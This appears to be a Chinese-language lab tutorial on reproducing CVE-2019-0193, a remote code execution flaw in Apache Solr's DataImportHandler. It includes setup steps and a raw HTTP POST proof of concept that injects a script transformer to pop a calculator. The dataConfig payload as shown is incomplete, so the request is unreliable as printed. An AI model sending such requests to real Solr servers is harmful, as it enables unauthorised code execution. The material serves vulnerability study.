声明:本篇文章仅限用于学习信息安全技术,请勿用于非法途径!
2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重。当solr开启了DataImportHandler功能,该模块中的DIH配置都可以通过外部请求dataconfig参数进行修改,DIH可包含脚本,因此,会存在远程代码执行漏洞。
Apache Solr < 8.2.0
(1)下载与启动
https://www-eu.apache.org/dist/lucene/solr/
使用清华大学镜像下载,速度很快:
http://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.7.2/solr-7.7.2.zip
下载解压后,进入此目录下的bin目录,启动solr命令: solr -e dih
停止solr命令:solr stop -all
(2)获取name信息
访问http://localhost:8983/solr/#/
通过接口来获取所有 core 信息,因为我们构造 payload 需要 name 信息。
http://127.0.0.1:8983/solr/admin/cores
(3)弹出计算器
在Burp中发送以下POC即可执行命令弹出计算器,如下所示:
POST /solr/atom/dataimport HTTP/1.1
Host: 127.0.0.1:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Content-Length: 492
Content-type: application/x-www-form-urlencoded
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig=
url="https://stackoverflow.com/feeds/tag/solr" processor="XPathEntityProcessor" forEach="/feed" transformer="script:poc" />